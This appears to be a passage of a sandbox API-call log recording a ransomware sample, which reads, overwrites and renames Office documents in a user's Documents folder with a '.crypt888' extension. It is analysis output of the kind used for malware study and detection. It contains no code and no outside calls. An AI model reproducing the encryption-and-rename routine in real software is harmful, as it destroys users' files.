HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx.crypt888", lpFilePart=0x0) returned 0x46 [0080.924] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cztpvridiv3yfxdk.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b04d0e0, ftCreationTime.dwHighDateTime=0x1d415a3, ftLastAccessTime.dwLowDateTime=0x5dcb99b0, ftLastAccessTime.dwHighDateTime=0x1d43225, ftLastWriteTime.dwLowDateTime=0xc16ee6e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x13c90)) returned 1 [0080.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.924] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cztpvridiv3yfxdk.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cztpvridiv3yfxdk.xlsx.crypt888")) returned 1 [0080.927] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt", lpFilePart=0x0) returned 0x31 [0080.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fdffs.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.928] GetFileType (hFile=0x174) returned 0x1 [0080.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.928] GetFileType (hFile=0x174) returned 0x1 [0080.928] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x720f [0080.928] ReadFile (in: hFile=0x174, lpBuffer=0x287558c, nNumberOfBytesToRead=0x720f, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x287558c*, lpNumberOfBytesRead=0x39ed58*=0x720f, lpOverlapped=0x0) returned 1 [0081.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt", lpFilePart=0x0) returned 0x31 [0081.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.185] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fdffs.ppt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.187] GetFileType (hFile=0x174) returned 0x1 [0081.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.187] GetFileType (hFile=0x174) returned 0x1 [0081.187] WriteFile (in: hFile=0x174, lpBuffer=0x26f7c94*, nNumberOfBytesToWrite=0x7210, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x26f7c94*, lpNumberOfBytesWritten=0x39ed48*=0x7210, lpOverlapped=0x0) returned 1 [0081.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt", lpFilePart=0x0) returned 0x31 [0081.188] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt.crypt888", lpFilePart=0x0) returned 0x3a [0081.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fdffs.ppt"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf196c9f0, ftCreationTime.dwHighDateTime=0x1d45cee, ftLastAccessTime.dwLowDateTime=0x75fa0070, ftLastAccessTime.dwHighDateTime=0x1d4626e, ftLastWriteTime.dwLowDateTime=0xc1975e40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7210)) returned 1 [0081.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.189] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fdffs.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\FDffS.ppt.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\fdffs.ppt.crypt888")) returned 1 [0081.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx", lpFilePart=0x0) returned 0x3a [0081.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.191] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jl3b1zs_pqvc1.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.192] GetFileType (hFile=0x174) returned 0x1 [0081.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.192] GetFileType (hFile=0x174) returned 0x1 [0081.192] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x11893 [0081.192] ReadFile (in: hFile=0x174, lpBuffer=0x26ff240, nNumberOfBytesToRead=0x11893, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26ff240*, lpNumberOfBytesRead=0x39ed58*=0x11893, lpOverlapped=0x0) returned 1 [0081.216] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx", lpFilePart=0x0) returned 0x3a [0081.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.217] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jl3b1zs_pqvc1.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.218] GetFileType (hFile=0x174) returned 0x1 [0081.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.218] GetFileType (hFile=0x174) returned 0x1 [0081.218] WriteFile (in: hFile=0x174, lpBuffer=0x2780b58*, nNumberOfBytesToWrite=0x118a0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2780b58*, lpNumberOfBytesWritten=0x39ed48*=0x118a0, lpOverlapped=0x0) returned 1 [0081.221] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx", lpFilePart=0x0) returned 0x3a [0081.221] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx.crypt888", lpFilePart=0x0) returned 0x43 [0081.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.221] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jl3b1zs_pqvc1.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda432380, ftCreationTime.dwHighDateTime=0x1d44235, ftLastAccessTime.dwLowDateTime=0xda665b0, ftLastAccessTime.dwHighDateTime=0x1d42923, ftLastWriteTime.dwLowDateTime=0xc19c2100, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x118a0)) returned 1 [0081.221] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.221] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jl3b1zs_pqvc1.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\jL3B1Zs_pqvc1.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jl3b1zs_pqvc1.xlsx.crypt888")) returned 1 [0081.223] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx", lpFilePart=0x0) returned 0x3e [0081.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.223] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jpwvmkauh-sew8t7m.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.223] GetFileType (hFile=0x174) returned 0x1 [0081.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.224] GetFileType (hFile=0x174) returned 0x1 [0081.224] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x10a64 [0081.224] ReadFile (in: hFile=0x174, lpBuffer=0x2792800, nNumberOfBytesToRead=0x10a64, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2792800*, lpNumberOfBytesRead=0x39ed58*=0x10a64, lpOverlapped=0x0) returned 1 [0081.243] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx", lpFilePart=0x0) returned 0x3e [0081.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jpwvmkauh-sew8t7m.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.245] GetFileType (hFile=0x174) returned 0x1 [0081.245] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.245] GetFileType (hFile=0x174) returned 0x1 [0081.245] WriteFile (in: hFile=0x174, lpBuffer=0x2811528*, nNumberOfBytesToWrite=0x10a70, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2811528*, lpNumberOfBytesWritten=0x39ed48*=0x10a70, lpOverlapped=0x0) returned 1 [0081.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx", lpFilePart=0x0) returned 0x3e [0081.247] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx.crypt888", lpFilePart=0x0) returned 0x47 [0081.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.248] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jpwvmkauh-sew8t7m.docx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffae9960, ftCreationTime.dwHighDateTime=0x1d445a5, ftLastAccessTime.dwLowDateTime=0xa166f290, ftLastAccessTime.dwHighDateTime=0x1d43feb, ftLastWriteTime.dwLowDateTime=0xc1a0e3c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10a70)) returned 1 [0081.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.248] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jpwvmkauh-sew8t7m.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\JpWVmKAuH-SEw8T7m.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\jpwvmkauh-sew8t7m.docx.crypt888")) returned 1 [0081.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx", lpFilePart=0x0) returned 0x37 [0081.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzv1hmfqw7.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.249] GetFileType (hFile=0x174) returned 0x1 [0081.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.249] GetFileType (hFile=0x174) returned 0x1 [0081.249] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x1510a [0081.249] ReadFile (in: hFile=0x174, lpBuffer=0x3774da8, nNumberOfBytesToRead=0x1510a, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x3774da8*, lpNumberOfBytesRead=0x39ed58*=0x1510a, lpOverlapped=0x0) returned 1 [0081.280] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx", lpFilePart=0x0) returned 0x37 [0081.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzv1hmfqw7.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.282] GetFileType (hFile=0x174) returned 0x1 [0081.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.282] GetFileType (hFile=0x174) returned 0x1 [0081.282] WriteFile (in: hFile=0x174, lpBuffer=0x37de330*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x37de330*, lpNumberOfBytesWritten=0x39ed48*=0x15110, lpOverlapped=0x0) returned 1 [0081.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx", lpFilePart=0x0) returned 0x37 [0081.285] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx.crypt888", lpFilePart=0x0) returned 0x40 [0081.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.285] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzv1hmfqw7.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda4c7c80, ftCreationTime.dwHighDateTime=0x1d41389, ftLastAccessTime.dwLowDateTime=0xc165c9b0, ftLastAccessTime.dwHighDateTime=0x1d43f3f, ftLastWriteTime.dwLowDateTime=0xc1a5a680, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x15110)) returned 1 [0081.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.286] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzv1hmfqw7.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kZv1HMFQW7.xlsx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kzv1hmfqw7.xlsx.crypt888")) returned 1 [0081.293] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx", lpFilePart=0x0) returned 0x38 [0081.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.293] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\neepigx5zek.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.293] GetFileType (hFile=0x174) returned 0x1 [0081.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.294] GetFileType (hFile=0x174) returned 0x1 [0081.294] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x12db9 [0081.294] ReadFile (in: hFile=0x174, lpBuffer=0x286f548, nNumberOfBytesToRead=0x12db9, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x286f548*, lpNumberOfBytesRead=0x39ed58*=0x12db9, lpOverlapped=0x0) returned 1 [0081.336] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx", lpFilePart=0x0) returned 0x38 [0081.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.336] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\neepigx5zek.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.338] GetFileType (hFile=0x174) returned 0x1 [0081.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.338] GetFileType (hFile=0x174) returned 0x1 [0081.338] WriteFile (in: hFile=0x174, lpBuffer=0x272175c*, nNumberOfBytesToWrite=0x12dc0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x272175c*, lpNumberOfBytesWritten=0x39ed48*=0x12dc0, lpOverlapped=0x0) returned 1 [0081.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx", lpFilePart=0x0) returned 0x38 [0081.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx.crypt888", lpFilePart=0x0) returned 0x41 [0081.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0081.341] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\neepigx5zek.docx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6f9010, ftCreationTime.dwHighDateTime=0x1d3eb03, ftLastAccessTime.dwLowDateTime=0xb267de50, ftLastAccessTime.dwHighDateTime=0x1d44906, ftLastWriteTime.dwLowDateTime=0xc1af2c00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x12dc0)) returned 1 [0081.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0081.341] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\neepigx5zek.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\NeePiGX5zeK.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\neepigx5zek.docx.crypt888")) returned 1 [0081.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx", lpFilePart=0x0) returned 0x3e [0081.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0081.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nslv7msvomcguj0pb.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.345] GetFileType (hFile=0x174) returned 0x1 [0081.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0081.345] GetFileType (hFile=0x174) returned 0x1 [0081.345] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x4dd1 [0081.345] ReadFile (in: hFile=0x174, lpBuffer=0x2734910, nNumberOfBytesToRead=0x4dd1, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2734910*, lpNumberOfBytesRead=0x39ed58*=0x4dd1, lpOverlapped=0x0) returned 1 [0081.361] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx", lpFilePart=0x0) returned 0x3e [0081.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0081.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\nslV7MSVOmcgUj0Pb.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\nslv7msvomcguj0pb.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0081.363] GetFileType (hFile=0x174) returned 0x1 [0081.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0081.363] GetFileType (hFile=0x174) returned 0x1 [0081.363] WriteFile (in: hFile=0x174, 